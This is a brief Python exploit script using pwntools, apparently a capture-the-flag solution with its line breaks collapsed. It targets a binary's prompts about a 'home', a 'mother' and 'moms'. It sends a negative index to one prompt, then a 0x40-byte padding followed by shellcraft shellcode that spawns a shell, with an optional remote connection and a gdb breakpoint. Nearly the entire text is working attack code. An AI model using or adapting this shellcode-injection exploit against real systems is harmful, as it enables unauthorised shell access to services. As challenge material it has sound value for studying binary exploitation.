if 're' in sys.argv: p = remote(remote_host, remote_port) else: p = process(file_path) gdb.attach(p, "b*0x401315")
def sla(a, b): p.sendlineafter(a, b) def sa(a,b): p.sendafter(a,b)
p.sendlineafter("Where is the your home:" , str(-0xf0)) shellcode = 0x40 * b'a' + asm(shellcraft.sh()) print(hex(len(shellcode))) p.sendafter("Where can you find mother:" , shellcode) p.sendlineafter("How many moms did you find:" , b'5')